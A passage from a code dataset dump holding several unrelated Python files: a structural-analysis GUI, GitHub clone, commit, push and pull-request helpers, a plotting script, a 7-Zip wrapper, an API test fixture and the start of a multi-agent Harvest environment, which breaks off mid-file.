memberPointLoadData = [memberID,x,Fx,Fy]\n self._structureData[\"memberPointLoad\"].append(memberPointLoadData)\n\n if type == \"beam\":\n self._structure.addMemberPointLoad(memberID,x,Fy)\n pointX, pointY = self.calculatePosition((ix,iy), (jx,jy), x)\n pointX = pointX/self._scaling + self._origin[0]\n pointY = self._origin[1] - pointY/self._scaling\n\n if self._unit[0] == \"kN\":\n Fy = Fy/1000\n\n Fy = round(Fy,self._unit[2])\n\n if Fy < 0:\n self._canvas.create_line([(pointX, pointY), (pointX, pointY-60)], fill='red')\n self.drawArrow((pointX, pointY-60), (pointX, pointY), \"red\")\n self._canvas.create_text(pointX, pointY-70, text=str(-Fy) + \" \" + self._unit[0], fill=\"red\")\n elif Fy > 0:\n self._canvas.create_line([(pointX, pointY), (pointX, pointY+60)], fill='red')\n self.drawArrow((pointX, pointY+60), (pointX, pointY), \"red\")\n self._canvas.create_text(pointX, pointY+70, text=str(Fy) + \" \" + self._unit[0], fill=\"red\")\n\n elif type == \"frame\":\n self._structure.addGlobalMemberPointLoad(memberID,x,Fx,Fy)\n pointX, pointY = self.calculatePosition((ix,iy), (jx,jy), x)\n pointX = pointX/self._scaling + self._origin[0]\n pointY = self._origin[1] - pointY/self._scaling\n\n if self._unit[0] == \"kN\":\n Fx = Fx/1000\n Fy = Fy/1000\n\n Fx = round(Fx,self._unit[2])\n Fy = round(Fy,self._unit[2])\n\n if Fy < 0:\n self._canvas.create_line([(pointX, pointY), (pointX, pointY-60)], fill='red')\n self.drawArrow((pointX, pointY-60), (pointX, pointY), \"red\")\n self._canvas.create_text(pointX, pointY-70, text=str(-Fy) + \" \" + self._unit[0], fill=\"red\")\n elif Fy > 0:\n self._canvas.create_line([(pointX, pointY), (pointX, pointY+60)], fill='red')\n self.drawArrow((pointX, pointY+60), (pointX, pointY), \"red\")\n self._canvas.create_text(pointX, pointY+70, text=str(Fy) + \" \" + self._unit[0], fill=\"red\")\n\n if Fx < 0:\n self._canvas.create_line([(pointX, pointY), (pointX+60, pointY)], fill='red')\n self.drawArrow((pointX+60, pointY), (pointX, pointY), \"red\")\n self._canvas.create_text(pointX+70, pointY-15, text=str(-Fx) + \" \" + self._unit[0], fill=\"red\")\n elif Fx > 0:\n self._canvas.create_line([(pointX, pointY), (pointX-60, pointY)], fill='red')\n self.drawArrow((pointX-60, pointY), (pointX, pointY), \"red\")\n self._canvas.create_text(pointX-70, pointY-15, text=str(Fx) + \" \" + self._unit[0], fill=\"red\")\n\n distance = x\n if self._unit[1] == \"m\":\n distance = distance/1000\n self.displayData(\"Successfully added Member Point Load:\\n \" +\n \" Distance from node \" + str(nodes[0]) + \" : \" + str(distance)+ \" \" + self._unit[1] + \"\\n \")\n\n\n def createMemberUniformlyDistributedLoad(self, data0, data1):\n \"\"\"\n Generate the member UDL from the user's input\n UDL not included in frame member\n\n :param data0: member ID\n :param data1: value of the UDL\n \"\"\"\n memberID = int(data0)\n w = float(data1)\n\n self._structure.addMemberUniformlyDistributedLoad(memberID, w)\n uniformlyDistributedLoadData = [memberID,w]\n self._structureData[\"uniformlyDistributedLoad\"].append(uniformlyDistributedLoadData)\n\n if self._unit[0] == \"kN\":\n w = w/1000\n\n if self._unit[1] == \"m\":\n w = w*1000\n\n w = round(w,self._unit[2])\n\n\n for member in self._structure.getMembers():\n if member.getId() == memberID:\n nodes = member.get_ij()\n L = member.getL()\n\n for node in self._structure.getNodes():\n if node.getID() == nodes[0]:\n ix = node.getx()\n iy = node.gety()\n elif node.getID() == nodes[1]:\n jx = node.getx()\n jy = node.gety()\n\n numOfLine = math.floor((L/self._scaling)/20)\n\n distance = (L/self._scaling)/(numOfLine-1)\n\n for index in range(numOfLine):\n pointX, pointY = self.calculatePosition((ix,iy), (jx,jy), index*distance*self._scaling)\n pointX = pointX/self._scaling + self._origin[0]\n pointY = self._origin[1] - pointY/self._scaling\n\n if w < 0:\n if index == 0:\n point1 = (pointX, pointY-65)\n\n self._canvas.create_line([(pointX, pointY-5), (pointX, pointY-65)], fill='red')\n self.drawArrow((pointX, pointY-65), (pointX, pointY-5), \"red\")\n\n if index == numOfLine-1:\n self._canvas.create_line([point1, (pointX, pointY-65)], fill='red')\n\n if index == numOfLine//2:\n self._canvas.create_text(pointX, pointY-75, text=str(-w) + \" \"+self._unit[0]+\"/\"+self._unit[1], fill=\"red\")\n\n elif w > 0:\n if index == 0:\n point1 = (pointX, pointY+65)\n\n self._canvas.create_line([(pointX, pointY+5), (pointX, pointY+65)], fill='red')\n self.drawArrow((pointX, pointY+65), (pointX, pointY+5), \"red\")\n\n if index == numOfLine-1:\n self._canvas.create_line([point1, (pointX, pointY+65)], fill='red')\n\n if index == numOfLine//2:\n self._canvas.create_text(pointX, pointY+75, text=str(w) + \" \"+self._unit[0]+\"/\"+self._unit[1], fill=\"red\")\n\n self.displayData(\"Successfully added Distributed Load\"+ \"\\n \")\n\n\n def update(self):\n \"\"\"\n Update the node and member information for the label\n \"\"\"\n nodeNum = self._structure.getNodeNum()\n memberNum = self._structure.getMemberNum()\n text = \"number of Node: \" + str(nodeNum) + \" number of Member: \" + str(memberNum)\n self._canvas.delete(self._label)\n self._label = self._canvas.create_text(round(self._windowWidth*0.65)-150, 15, text=text, fill=\"#8A2F19\")\n\n\n def deleteMagnitude(self, canvas):\n \"\"\"\n Delete the magnitude label from the canvas\n\n :param canvas: canvas to be removed\n \"\"\"\n canvas.delete(self._labelMessage)\n\n\n def updateMagnitude(self, canvas, x, magnitude, type):\n \"\"\"\n Update the magnitude label from the canvas\n\n :param canvas: canvas to be updated\n :param x: distance value\n :param magnitude: magnitude value\n :param type: type string of the force\n \"\"\"\n if self._unit[1] == \"m\":\n x = x/1000\n\n if type == \"Shear Force\":\n if self._unit[0] == \"kN\":\n magnitude = magnitude/1000\n unit = self._unit[0]\n\n elif type == \"Bending Moment\":\n if self._unit[0] == \"kN\":\n magnitude = magnitude/1000\n if self._unit[1] == \"m\":\n magnitude = magnitude/1000\n\n unit = self._unit[0] + self._unit[1]\n\n magnitude = round(magnitude, self._unit[2])\n\n text = \"x : \" + str(x) + \" \" + self._unit[1] +\" \" + \\\n type + \": \" + str(magnitude) + \" \" + unit\n self.deleteMagnitude(canvas)\n self._labelMessage = canvas.create_text(round(self._windowWidth*0.65)-165, 20, text=text, fill=\"#8A2F19\")\n\n\n def generatePdfResult(self):\n \"\"\"\n Generate the result of the analysis and save it into PDF\n \"\"\"\n filename = \"results/\" + self._filename + \".pdf\"\n\n pdf = SimpleDocTemplate(filename, pagesize=letter)\n\n style1 = TableStyle([(\"ALIGN\", (0,0), (-1,-1),\"CENTER\"),\n (\"BOX\", (0,0), (-1,-1), 2, \"black\"),\n (\"LINEBEFORE\", (0,0), (-1,-1), 1, \"black\"),\n (\"LINEABOVE\", (0,0), (-1,-1), 1, \"black\")])\n\n memberTable1 = Table(self._structure.getMemberInformationTable1())\n memberTable2 = Table(self._structure.getMemberInformationTable2())\n\n memberTable1.setStyle(style1)\n memberTable2.setStyle(style1)\n\n elements = []\n elements.append(Table([[\"Linear Analysis Result: \" + self._filename,],]))\n elements.append(Table([[\"unit: [N], [mm]\",],]))\n elements.append(Table([[\"\",],]))\n elements.append(Table([[\"Member Information: \",],]))\n elements.append(Table([[\"\",],]))\n elements.append(memberTable1)\n elements.append(Table([[\"\",],])) # blank line\n elements.append(memberTable2)\n elements.append(Table([[\"\",],]))\n\n style2 = TableStyle([(\"ALIGN\", (0,0), (-1,-1),\"CENTER\"),])\n\n elements.append(Table([[\"\",],]))\n elements.append(Table([[\"Member Local Stiffness: \",],]))\n elements.append(Table([[\"\",],]))\n for stiffness in self._structure.getLocalStiffness():\n table = Table(stiffness)\n table.setStyle(style2)\n elements.append(table)\n elements.append(Table([[\"\",],]))\n\n style3 = TableStyle([(\"ALIGN\", (0,0), (-1,-1),\"CENTER\"),\n (\"FONTSIZE\", (0,0), (-1,-1), 7)])\n\n elements.append(Table([[\"\",],]))\n elements.append(Table([[\"Structure Global Stiffness: \",],]))\n elements.append(Table([[\"\",],]))\n globalStiffness = Table(self._structure.getGlobalStiffnessString())\n globalStiffness.setStyle(style3)\n elements.append(globalStiffness)\n elements.append(Table([[\"\",],]))\n\n elements.append(Table([[\"\",],]))\n elements.append(Table([[\"Nodal Displacement & Nodal Load: \",],]))\n elements.append(Table([[\"\",],]))\n r_R = Table(self._structure.getNodalDisplacementAndLoad())\n r_R.setStyle(style2)\n elements.append(r_R)\n elements.append(Table([[\"\",],]))\n\n elements.append(Table([[\"\",],]))\n elements.append(Table([[\"Member Local P: \",],]))\n elements.append(Table([[\"\",],]))\n for P in self._structure.getAllLocalP():\n eachP = Table(P)\n eachP.setStyle(style2)\n elements.append(eachP)\n elements.append(Table([[\"\",],]))\n elements.append(Table([[\"\",],]))\n\n elements.append(Table([[\"\",],]))\n elements.append(Table([[\"Structure Global P: \",],]))\n elements.append(Table([[\"\",],]))\n globalP = Table(self._structure.getGlobalPString())\n globalP.setStyle(style2)\n elements.append(globalP)\n elements.append(Table([[\"\",],]))\n\n elements.append(Table([[\"\",],]))\n elements.append(Table([[\"Nodal Displacement {rf}: \",],]))\n elements.append(Table([[\"{Rf} = [Kff]{rf} + {Pf}\",],]))\n elements.append(Table([[\"{rf} = [Kff]^(-1) x ({Rf} - {Pf})\",],]))\n elements.append(Table([[\"\",],]))\n Kff = Table(self._structure.getKffString())\n Kff.setStyle(style2)\n elements.append(Kff)\n elements.append(Table([[\"\",],]))\n Rf = Table(self._structure.getRfString())\n Rf.setStyle(style2)\n elements.append(Rf)\n elements.append(Table([[\"\",],]))\n Pf = Table(self._structure.getPfString())\n Pf.setStyle(style2)\n elements.append(Pf)\n elements.append(Table([[\"\",],]))\n rf = Table(self._structure.get_rfString())\n rf.setStyle(style2)\n elements.append(rf)\n elements.append(Table([[\"\",],]))\n\n elements.append(Table([[\"\",],]))\n elements.append(Table([[\"Reaction Force {Rs}: \",],]))\n elements.append(Table([[\"{Rs} = [Ksf]{rf} + {Ps}\",],]))\n elements.append(Table([[\"\",],]))\n Ksf = Table(self._structure.getKsfString())\n Ksf.setStyle(style2)\n elements.append(Ksf)\n elements.append(Table([[\"\",],]))\n Ps = Table(self._structure.getPsString())\n Ps.setStyle(style2)\n elements.append(Ps)\n elements.append(Table([[\"\",],]))\n Rs = Table(self._structure.getRsString())\n Rs.setStyle(style2)\n elements.append(Rs)\n elements.append(Table([[\"\",],]))\n\n elements.append(Table([[\"\",],]))\n elements.append(Table([[\"Member Force: \",],]))\n elements.append(Table([[\"\",],]))\n for F in self._structure.getLocalMemberForce():\n eachF = Table(F)\n eachF.setStyle(style2)\n elements.append(eachF)\n elements.append(Table([[\"\",],]))\n\n pdf.build(elements)\n\n\nroot = tk.Tk()\napp = App(root)\nroot.mainloop()","repo_name":"wengchonglao0124/iStruct2D-Python","sub_path":"iStruct2D.py","file_name":"iStruct2D.py","file_ext":"py","file_size_in_byte":103393,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"654626606","text":"from git import Repo, GitCommandError\nimport git\nfrom static_vals import GITHUB_TOKEN \nimport subprocess\nimport tempfile\nimport uuid\nimport requests\nimport json\nimport os\nimport re\nimport openai\n\ndef clone_repo(url):\n \"\"\"\n Clone a git repository from a specified URL into a randomly named directory within /tmp.\n\n Parameters:\n url (str): The URL of the git repository.\n\n Returns:\n str: The full path to the cloned repository.\n \"\"\"\n # Create a temporary directory.\n target_dir = tempfile.mkdtemp(dir=\"/tmp\")\n\n # Clone the repository.\n repo_name = url.split(\"/\")[-1].replace(\".git\", \"\")\n full_repo_path = os.path.join(target_dir, repo_name)\n clone_url = url.replace(\"https://\", f\"https://x-access-token:{GITHUB_TOKEN}@\")\n result = subprocess.run([\"git\", \"clone\", clone_url, full_repo_path])\n\n if result.returncode != 0:\n print(f\"Error cloning the repository. Return code: {result.returncode}\")\n return None\n return full_repo_path\n\ndef git_add_all(repo_path):\n try:\n repo = Repo(repo_path)\n repo.git.add(A=True) # Adds all changes\n return \"All files added successfully\"\n except GitCommandError as e:\n return str(e)\n\ndef git_commit(repo_path, message):\n try:\n repo = Repo(repo_path)\n repo.index.commit(message)\n return \"Commit successful with message: {}\".format(message)\n except GitCommandError as e:\n return str(e)\n\ndef git_push(repo_path, branch='master'):\n try:\n repo = Repo(repo_path)\n origin = repo.remote(name='origin')\n origin.push(branch)\n return \"Push to {} successful\".format(branch)\n except GitCommandError as e:\n return str(e)\n\ndef git_fetch_all(repo_path):\n try:\n repo = Repo(repo_path)\n for remote in repo.remotes:\n remote.fetch()\n return \"Fetch all successful\"\n except GitCommandError as e:\n return str(e)\n\ndef git_checkout_branch(repo_path, branch_name):\n try:\n repo = Repo(repo_path)\n repo.git.checkout(branch_name)\n return \"Switched to branch: {}\".format(branch_name)\n except GitCommandError as e:\n return str(e)\n\ndef generate_random_branch_name():\n \"\"\"\n Generate a random branch name.\n\n Returns:\n str: The generated branch name.\n \"\"\"\n return \"branch-\" + str(uuid.uuid4())\n\ndef clone_and_create_new_branch(repo_url, initial_branch):\n \"\"\"\n Clone a repository, switch to a specified branch, and create a new branch with a random name.\n\n Examples:\n branch_name, repo_path = clone_and_create_new_branch(\"git@github.com:AnotherOctopus/tillerlock.git\", \"git-functions\")\n\n Parameters:\n repo_url (str): The URL of the git repository.\n initial_branch (str): The name of the branch to switch to after cloning.\n\n Returns:\n tuple: A tuple containing the branch name and repo path. If an error occurs, returns an error message.\n \"\"\"\n # Clone the repo\n repo_path = clone_repo(repo_url)\n if repo_path is None:\n return \"Failed to clone repository\"\n\n # Switch to the initial branch\n checkout_message = git_checkout_branch(repo_path, initial_branch)\n if not checkout_message.startswith(\"Switched\"):\n return \"Failed to switch to initial branch: \" + checkout_message\n\n # Create a new branch with a random name and switch to it\n new_branch_name = generate_random_branch_name()\n try:\n repo = Repo(repo_path)\n repo.git.checkout('-b', new_branch_name)\n return new_branch_name, repo_path\n except GitCommandError as e:\n print(e)\n return \"Failed to switch to new branch: \" + str(e)\n\ndef git_add_commit_push(repo_path, commit_message):\n \"\"\"\n Add all changes, commit them, and push to the remote repository.\n\n Parameters:\n repo_path (str): The full path to the local git repository.\n commit_message (str): The commit message.\n\n Returns:\n str: A message about the operation's success or the error message.\n \"\"\"\n # Add all changes\n add_message = git_add_all(repo_path)\n if not add_message.startswith(\"All files\"):\n return \"Failed to add changes: \" + add_message\n\n # Commit changes\n commit_message = git_commit(repo_path, commit_message)\n if not commit_message.startswith(\"Commit\"):\n return \"Failed to commit changes: \" + commit_message\n\n # Push changes\n current_branch = Repo(repo_path).active_branch.name\n push_message = git_push(repo_path, current_branch)\n if not push_message.startswith(\"Push\"):\n return \"Failed to push changes: \" + push_message\n\n return \"Add, commit, and push operations were successful\"\n\ndef open_pull_request(repo_url, source_branch, target_branch):\n print(\"Opening pull request from {} to {}\".format(source_branch, target_branch))\n owner, repo = parse_repo_url(repo_url)\n\n # Create the URL for the pull request\n pr_url = f\"https://api.github.com/repos/{owner}/{repo}/pulls\"\n\n # Get the GitHub token from the environment\n github_token = GITHUB_TOKEN\n if github_token is None:\n print(\"Please set your GitHub token in the GITHUB_TOKEN environment variable.\")\n return\n\n # Define the headers\n headers = {\n \"Authorization\": f\"token {github_token}\",\n \"Accept\": \"application/vnd.github.v3+json\",\n }\n\n # Define the data for the pull request\n data = {\n \"title\": f\"Pull request from {source_branch} to {target_branch}\",\n \"head\": source_branch,\n \"base\": target_branch\n }\n\n # Send the request to create the pull request\n response = requests.post(pr_url, headers=headers, data=json.dumps(data))\n pr_number = response.json()['number']\n\n # If the request was successful, print the URL of the new pull request\n if response.status_code == 201:\n body = \"This is an AI created pull request\"\n diff_url = response.json()['diff_url']\n diff_response = requests.get(diff_url, headers=headers)\n print(diff_response.content)\n if diff_response.status_code == 200:\n print(str(diff_response.content))\n else:\n print(f\"Failed to create body\")\n body_update_data = {\n \"body\": body\n }\n # Send the request to create the pull request\n print(f\"Updating body of pull request {pr_number}\")\n requests.post(pr_url + f\"/{pr_number}\", headers=headers, data=json.dumps(body_update_data))\n\n return response.json()['html_url']\n else:\n print(f\"Failed to create pull request: {response.content}\")\n\ndef merge_pull_request(pull_request_url, commit_title, commit_message, merge_method='merge'):\n owner, repo, pull_number = parse_pull_request_url(pull_request_url)\n url = f\"https://api.github.com/repos/{owner}/{repo}/pulls/{pull_number}/merge\"\n print(\"merging: \", url)\n github_token = os.getenv(\"GITHUB_TOKEN\")\n headers = {\n 'Authorization': f\"token {github_token}\",\n 'Accept': 'application/vnd.github.v3+json',\n }\n data = {\n 'commit_title': commit_title,\n 'commit_message': commit_message,\n 'merge_method': merge_method, # can be 'merge', 'squash', or 'rebase'\n }\n response = requests.put(url, headers=headers, data=json.dumps(data))\n if response.status_code == 200:\n print('Pull request merged successfully.')\n else:\n print(f'Failed to merge pull request. Response: {response.content}')\n\ndef parse_repo_url(repo_url):\n # Pattern to match the username and repository name\n pattern = r'github\\.com:(\\w+)/(\\w+)\\.git'\n\n # Search for the pattern in the repo_url\n match = re.search(pattern, repo_url)\n\n if match:\n username = match.group(1)\n repository = match.group(2)\n return username, repository\n else:\n return None, None\n\ndef parse_pull_request_url(pull_request_url):\n # Pattern to match the username and repository name\n pattern = r'github\\.com\\/(\\w+)/(\\w+)\\/pull\\/(\\w+)'\n\n # Search for the pattern in the repo_url\n match = re.search(pattern, pull_request_url)\n\n if match:\n username = match.group(1)\n repository = match.group(2)\n pull_number = match.group(3)\n return username, repository, pull_number\n else:\n return None, None, None\n\n# # Example usage\n# repo_url = \"git@github.com:AnotherOctopus/tillerlock.git\"\n# username, repository = parse_repo_url(repo_url)\n# print(\"Username:\", username)\n# print(\"Repository:\", repository)\n\n# repo_url=\"git@github.com:AnotherOctopus/tillerlock.git\"\n# source_branch=\"branch-fcdf932e-9134-489c-95bd-80e3061d598b\"\n# target_branch=\"some-change\"\n#\n# usage\n# link = open_pull_request(\n# repo_url=repo_url,\n# source_branch=source_branch,\n# target_branch=\"main\"\n# )\n#\n# print(link)\n\n# link = 'https://github.com/AnotherOctopus/tillerlock/pull/10'\n\n# branch, url = clone_and_create_new_branch(\"git@github.com:AnotherOctopus/tillerlock.git\", \"git-functions\")\n# print(branch, url)\n\n# merge_pull_request(link, \"title\", \"message\")","repo_name":"AnotherOctopus/tillerlock","sub_path":"tiller_python_service/git_actions.py","file_name":"git_actions.py","file_ext":"py","file_size_in_byte":9031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21702991532","text":"\nimport matplotlib.pyplot as plt\nimport csv\nimport numpy as np\nfrom matplotlib.patches import Polygon\nx = []\ny = []\n \nwith open('C:/Users/jojo/OneDrive/Documents/GitHub/proj_final/data.csv','r') as csvfile:\n lines = csv.reader(csvfile, delimiter=',')\n for row in lines:\n x.append(row[0])\n y.append(int(row[1]))\n\n#create linear regression formula\n\nX = np.linspace(20, 100, 100)\nm = (float(y[len(y)-3]) - float(y[2]))/(float(x[len(x)-3]) - float(x[2])) #predict slope of graph with manual calculation\nb = int(y[len(y)-3]) - (int(m)*int(x[len(x)-3]))\nY = m*X + b\n\n\nfig = plt.figure(figsize = (10, 5))\n# Create the plot\nplt.plot(X,Y, color = 'b', marker = 'o',label = \"Trend\")\n\nplt.xticks(rotation = 25)\nplt.xlabel('Time')\nplt.ylabel('Calories burned')\nplt.title('Exercise Graph ' + \"y = \" + str(m) + \"x + \" + str(b), fontsize = 20)\n\nprint(m)\nprint(b)\nplt.grid()\nplt.legend()\nplt.show()","repo_name":"NithanB/proj_final","sub_path":"datatrue/data_imp.py","file_name":"data_imp.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15671021679","text":"\"\"\"\n7Zip wrapper.\n\"\"\"\nimport os\nimport pathlib\nimport logging\nimport subprocess\nfrom typing import Optional, List\n\nfrom firmextractor.cmd.command import Command, CommandError\n\n\nlogger: logging.Logger = logging.getLogger(__name__)\n\"\"\"7Zip logger\"\"\"\n\n\nclass SevenZipError(CommandError):\n \"\"\"Error handler for SevenZip\"\"\"\n\n pass\n\n\nclass SevenZip(Command):\n \"\"\"Handler for 7z command\"\"\"\n\n name: str = \"7z\"\n \"\"\"Name of the command line utility\"\"\"\n\n def run(\n self, subcommand: Optional[str] = None, args: List[str] = None\n ) -> subprocess.CompletedProcess:\n \"\"\"Run the command and wrap results\n\n Args:\n subcommand: An optional subcommand (such as x)\n args: List of arguments\n\n Raises:\n SevenZipError when the command fails to run\n\n Returns:\n Subprocess CompletedProcess\n \"\"\"\n\n final_command: List[str] = [self.command]\n\n if subcommand is not None:\n final_command.append(subcommand)\n\n if args is not None:\n final_command.extend(args)\n\n try:\n result = subprocess.run(\n final_command, stderr=subprocess.PIPE, stdout=subprocess.PIPE\n )\n except subprocess.CalledProcessError:\n raise SevenZipError(f\"Run: Unable to run the command {final_command}\")\n\n return result\n\n def extract(\n self,\n archive_path: pathlib.Path,\n extract_dir: Optional[pathlib.Path] = None,\n force: bool = False,\n ) -> pathlib.Path:\n \"\"\"Extract the archive at `archive_path` to `extract_dir` if specified or the\n local directory.\n\n Args:\n archive_path: Path of the file to extract\n extract_dir: Where to extract\n force: Should we still try to extract if the extract dir exists ?\n\n Raises:\n SevenZipError if the extraction fails\n\n TODO(dm):\n check if this work when extract dir is not specified\n\n Returns:\n Path towards the extracted directory\n \"\"\"\n\n # FIX: Assume -y to prevent the tool to stay in standby\n args: List[str] = [\"-y\", \"-bb0\", \"-bd\", f\"-mmt{os.cpu_count()*2}\"]\n\n if extract_dir is not None:\n if extract_dir.is_dir() and not force:\n logger.debug(\"Skip extraction because target directory exist\")\n return extract_dir\n\n args.append(f\"-o{extract_dir}\")\n args.append(\"--\")\n\n args.append(str(archive_path))\n\n result = self.run(subcommand=\"x\", args=args)\n\n if result.returncode != 0:\n raise SevenZipError(\"Extract: Failed to extract\")\n\n if extract_dir:\n return extract_dir\n else:\n return pathlib.Path(\".\").absolute()\n","repo_name":"quarkslab/qsig","sub_path":"firmware_extractor/firmextractor/cmd/sevenzip.py","file_name":"sevenzip.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"15407810424","text":"import json\nimport pytest\nimport requests\n\nBASE_URL = 'http://167.172.172.115:52355'\n\n\n@pytest.fixture(scope=\"session\")\ndef base_url():\n yield BASE_URL\n\n\n@pytest.fixture(scope=\"session\")\ndef user_authorization(base_url):\n headers = {\n 'Content-type': 'application/json',\n }\n data_json = {\n \"name\": \"pavel\"\n }\n data = json.dumps(data_json)\n response = requests.request(\n 'POST',\n f'{base_url}/authorize',\n headers=headers,\n data=data\n ).json()\n yield response['token']\n\n\n@pytest.fixture(scope=\"function\")\ndef create_a_meme(base_url, user_authorization):\n headers = {\n \"Authorization\": f'{user_authorization}',\n 'Content-Type': 'application/json'\n }\n data_json = {\n \"text\": \"we cant keep it - my dad 10 months ago\",\n \"url\": \"https://sun9-35.userapi.com/impg/aQnVdpGvRGcsisBvX3k_uJ2mz04qMZ-Wi8vFaw/9bPt8FYiHl8.jpg?size=1028x1110&quality=95&sign=66dceafcc6ef0b6aff613655a52beed5&type=album\",\n \"tags\": [\"fun\", \"dad\", \"cat\"],\n \"info\": {\"colors\": [\"gray\", \"orange\", \"blue\"],\n \"objects\": [\"room\", \"cat\", \"dad\"]}\n }\n data = json.dumps(data_json)\n response = requests.request(\n 'POST',\n f'{base_url}/meme',\n headers=headers,\n data=data\n ).json()\n yield response['id']\n requests.request('DELETE', f'{base_url}/meme/{response[\"id\"]}')\n\n","repo_name":"eugene-okulik/QAP-09onl","sub_path":"homework/Pavel_Malashko/Homework_26/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"28824868816","text":"import numpy as np\nfrom numpy.random import rand\n\nfrom environments.Agent import HarvestAgent\nfrom environments.map_env import MapEnv \nimport gym \nimport scipy \nfrom copy import deepcopy \n\nHARVEST_MAP = [\n \"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\",\n \"@ P P A P AAAAA P A P @\",\n \"@ P A P AA P AAA A A @\",\n \"@ A AAA AAA A A AA AAAA @\",\n \"@ A AAA A A A AAA A A A A @\",\n \"@AAA A A A AAA A AAA A P@\",\n \"@ A A AAA AAA A A A AA AA AA @\",\n \"@ A A AAA A A AAA AAA A @\",\n \"@ AAA A AAA A AAAA @\",\n \"@ P A A A AAA A A P @\",\n \"@A AAA A A AAA A AAAA P @\",\n \"@ A A AAA A A A AA A P @\",\n \"@ AAA A A AAA AA AAA P @\",\n \"@ A A AAA A P A @\",\n \"@ P A P P P P @\",\n \"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\",\n]\n\nAPPLE_RADIUS = 2\n\n# Add custom actions to the agent\n_HARVEST_ACTIONS = {\"FIRE\": 5} # length of firing range\n\nSPAWN_PROB = [0, 0.005, 0.02, 0.05]\n\nHARVEST_VIEW_SIZE = 7\n\nfrom gym.spaces import Discrete\n\n\nclass DiscreteWithDType(Discrete):\n def __init__(self, n, dtype):\n assert n >= 0\n self.n = n\n # Skip Discrete __init__ on purpose, to avoid setting the wrong dtype\n super(Discrete, self).__init__((), dtype)\n\nclass HarvestEnv(MapEnv):\n def __init__(\n self,\n ascii_map=HARVEST_MAP,\n num_agents=1,\n disable_firing=True,\n image_obs = True, \n return_agent_actions=False,\n use_collective_reward=False,\n inequity_averse_reward=False,\n alpha=0.0,\n beta=0.0,\n horizon=1000,\n one_hot_id=False,\n **kwargs\n ):\n super().__init__(\n ascii_map,\n _HARVEST_ACTIONS,\n HARVEST_VIEW_SIZE,\n num_agents,\n return_agent_actions=return_agent_actions,\n use_collective_reward=use_collective_reward,\n inequity_averse_reward=inequity_averse_reward,\n alpha=alpha,\n beta=beta,\n image_obs=image_obs,\n horizon=horizon \n )\n self.disable_firing = disable_firing\n self.apple_points = []\n self.one_hot_id = one_hot_id\n for row in range(self.base_map.shape[0]):\n for col in range(self.base_map.shape[1]):\n if self.base_map[row, col] == b\"A\":\n self.apple_points.append([row, col])\n\n if self.disable_firing:\n self.action_space = gym.spaces.Discrete(7)\n self.continuous_action_space = gym.spaces.Box(low=-10.0, high=10.0, shape=(7,))\n else:\n self.action_space = gym.spaces.Discrete(8)\n self.continuous_action_space = gym.spaces.Box(low=-10.0, high=10.0, shape=(8,))\n\n global_img = gym.spaces.Box(\n low=0,\n high=1,\n shape=(16, 38, 3),\n dtype=np.uint8,\n )\n self.global_observation_space = gym.spaces.Dict({'image': global_img})\n\n concatenated_img = gym.spaces.Box(\n low=0,\n high=1,\n shape=(15, 15, 3*self.num_agents),\n dtype=np.uint8,\n )\n self.concatenated_observation_space = gym.spaces.Dict({'image': concatenated_img})\n\n if self.disable_firing:\n self.global_action_space = gym.spaces.MultiDiscrete([7] * self.num_agents)\n else:\n self.global_action_space = gym.spaces.MultiDiscrete([8] * self.num_agents)\n\n if not self.image_obs:\n self.observation_space = gym.spaces.Box(low=np.array([0.0]*(10 + 2 * self.num_agents)),\n high=np.array([\n len(self.base_map), len(self.base_map[0]), 4, len(self.base_map), len(self.base_map[0]), 4,\n len(self.base_map), len(self.base_map[0]),\n len(self.apple_points) + 1,\n len(self.apple_points) + 1] + [1] * (2*self.num_agents)))\n else:\n img_space = gym.spaces.Box(\n low=0,\n high=1,\n shape=(2 * HARVEST_VIEW_SIZE + 1, 2 * HARVEST_VIEW_SIZE + 1, 3),\n dtype=np.uint8,\n )\n if not self.one_hot_id:\n self.observation_space = gym.spaces.Dict({'image':img_space})\n else :\n self.observation_space = gym.spaces.Dict({'image':img_space, 'features':gym.spaces.Box(low=0, high=1, shape=(self.num_agents,))})\n \n def setup_agents(self):\n map_with_agents = self.get_map_with_agents()\n\n for i in range(self.num_agents):\n agent_id = \"a\" + str(i)\n spawn_point = self.spawn_point()\n rotation = self.spawn_rotation() \n grid = map_with_agents\n agent = HarvestAgent(agent_id, spawn_point, rotation, grid, view_len=HARVEST_VIEW_SIZE)\n self.agents[agent_id] = agent\n\n def custom_reset(self):\n \"\"\"Initialize the walls and the apples\"\"\"\n for apple_point in self.apple_points:\n self.single_update_map(apple_point[0], apple_point[1], b\"A\")\n self.computed_agent_pos = {key: self.agents[key].pos for key in self.agents.keys()} \n self.compute_current_apples()\n self.compute_closest_apples()\n self.compute_closest_pos()\n self.total_close_apples = {key: self.count_apples_in_radius(5, self.agents[key].pos) for key in self.agents} \n self.metrics = {'total_apples_eaten':0,'low_density_apples_eaten':0,'raw_env_rewards':0,'transfers':0}\n for i in range(self.num_agents):\n self.metrics['a{}-apples_consumed'.format(i)] = 0\n self.metrics['a{}-close_apples_consumed'.format(i)] = 0\n self.total_reward_dict = {key: [] for key in self.agents.keys()}\n\n def reset(self):\n o= super().reset() \n if not self.image_obs:\n obs = {key: np.array([float(self.agents[key].pos[0]), float(self.agents[key].pos[1]),\n float(self.agents[key].int_orientation),\n float(self.closest_pos[key][0][0]),float(self.closest_pos[key][0][1]),\n float(self.closest_pos[key][1]),\n float(self.closest_apples[key][0]), float(self.closest_apples[key][1]),\n float(self.total_close_apples[key]),\n float(len(self.current_apple_points))] + [0.0] * (2 * self.num_agents))\n for key in ['a' + str(i) for i in range(self.num_agents)]}\n else : \n o_img = {key: o[key]['curr_obs']/255 for key in ['a' + str(i) for i in range(self.num_agents)]}\n if not self.one_hot_id:\n obs = obs = { key : {'image':o_img[key]} for key in o_img.keys()} \n else : \n obs ={ 